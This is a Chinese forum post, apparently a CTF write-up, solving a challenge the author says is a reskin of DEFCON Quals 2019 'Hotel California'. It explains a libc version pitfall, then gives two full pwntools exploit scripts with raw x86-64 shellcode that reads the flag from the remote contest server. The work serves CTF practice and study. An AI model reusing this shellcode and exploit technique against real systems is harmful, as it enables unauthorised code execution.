-
-
[原创] 第五题 闻鸡起舞
-
发表于: 2020-4-24 11:42 4108
-
题目分析
此题为DEFCON CRF QUALS 2019 之Hotel_California,逻辑一致,只修改了字符串。
详细分析可见 _https://www.anquanke.com/post/id/178609
遇到的坑
此题告知环境是ubuntu-16.04 64位,我测试过
ubuntu-16.04到
ubuntu-16.04.6共7个版本都无法使用上述exp,最后发现是
ubuntu-16.04的libc-2.23.so的sleep函数会将栈中储存的随机数覆盖,原题使用的libc-2.27.so不会覆盖该随机数,故无法使用上述的方法,只能用16位爆破。
今天早上突然发现有人解出来了,而且是两个,可以肯定大概率不是使用
16位爆破,推测是更换服务器环境后不再是libc-2.23.so,但是没说明具体环境,就使用原exp去测试,发现原偏移是正确的,当前使用的是应该是libc-2.27.so。
测试是否触发
from pwn import * import time import ctypes DEBUG = False context.update(arch="amd64", os="linux", bits=64) if __name__ == "__main__": #elf = ELF("./hotel_california") if DEBUG: p = process("./hotel_california") else: p = remote("47.102.223.17", 10000) #输出 .///flag shellcode = "\xEB\x29\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x48\x8B\x1D\xE1\xFF\xFF\xFF\x48\x81\xEB\x08\xDC\xFF\xFF\x48\x8B\x13\x8B\x92\x7C\xFA\xFF\xFF\x48\x8D\x3D\x72\xFF\xFF\xFF\xF3\x89\x17\x48\x8B\x23\x48\x81\xC4\x78\x77\xFE\xFF\x48\xB8\x2E\x2F\x2F\x2F\x66\x6C\x61\x67\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x01\x58\x48\x89\xC7\x0F\x05" shellcode += "B"*(0x400-len(shellcode)) p.sendafter("> ", shellcode) p.shutdown() p.interactive() p.close()
EXP
from pwn import * import time import ctypes DEBUG = False context.update(arch="amd64", os="linux", bits=64) if __name__ == "__main__": #elf = ELF("./hotel_california") if DEBUG: p = process("./hotel_california") else: p = remote("47.102.223.17", 10000) # to solve, we need to store the original value at the offset in [rdi] from the `xaquire lock` # by doing this, we will pass the `xtest` check and our code will execute ### non-NULL shellcode: ### - reads the 1st random number from the stack ### - stores it back using `xrelease mov`, which allows the `xtest` check to pass ### - 输出 './//flag' # nasm -f bin shellcode.asm -o shellcode && hexdump -v -e '"\\" "x" 1/1 "%02X"' shellcode; echo shellcode = "\xEB\x29\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x48\x8B\x1D\xE1\xFF\xFF\xFF\x48\x81\xEB\x08\xDC\xFF\xFF\x48\x8B\x13\x8B\x92\x7C\xFA\xFF\xFF\x48\x8D\x3D\x72\xFF\xFF\xFF\xF3\x89\x17\x48\x8B\x23\x48\x81\xC4\x78\x77\xFE\xFF\x48\xB8\x2E\x2F\x2F\x2F\x66\x6C\x61\x67\x50\x48\x89\xE7\x6A\x01\x5A\x31\xF6\x6A\x02\x58\x0F\x05\x48\x89\xC7\x31\xC0\x48\x89\xE6\x6A\x7F\x5A\x0F\x05\x48\x89\xC2\x6A\x01\x58\x48\x89\xC7\x0F\x05" ### if we send 0x400 bytes, certain bytes will persist for the next loops malloc shellcode += "B"*(0x400-len(shellcode)) p.sendafter("> ", shellcode) ### if we send an EOF, we get to the 2nd loop, and the first random number stays on the stack ### this allows our shellcode to run # send EOF p.shutdown() # recv until flag is sent p.interactive() p.close()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-4-24 19:14
被kanxue编辑
,原因:
赞赏
他的文章
- [原创]第八题 牛刀小试 4301
- [原创]第六题 一尺之棰 5149
- [原创] 第五题 闻鸡起舞 4109
- [原创]第三题 寻踪觅源 4379
- [原创]第二题 子鼠开天 2630
看原图
赞赏
雪币:
留言: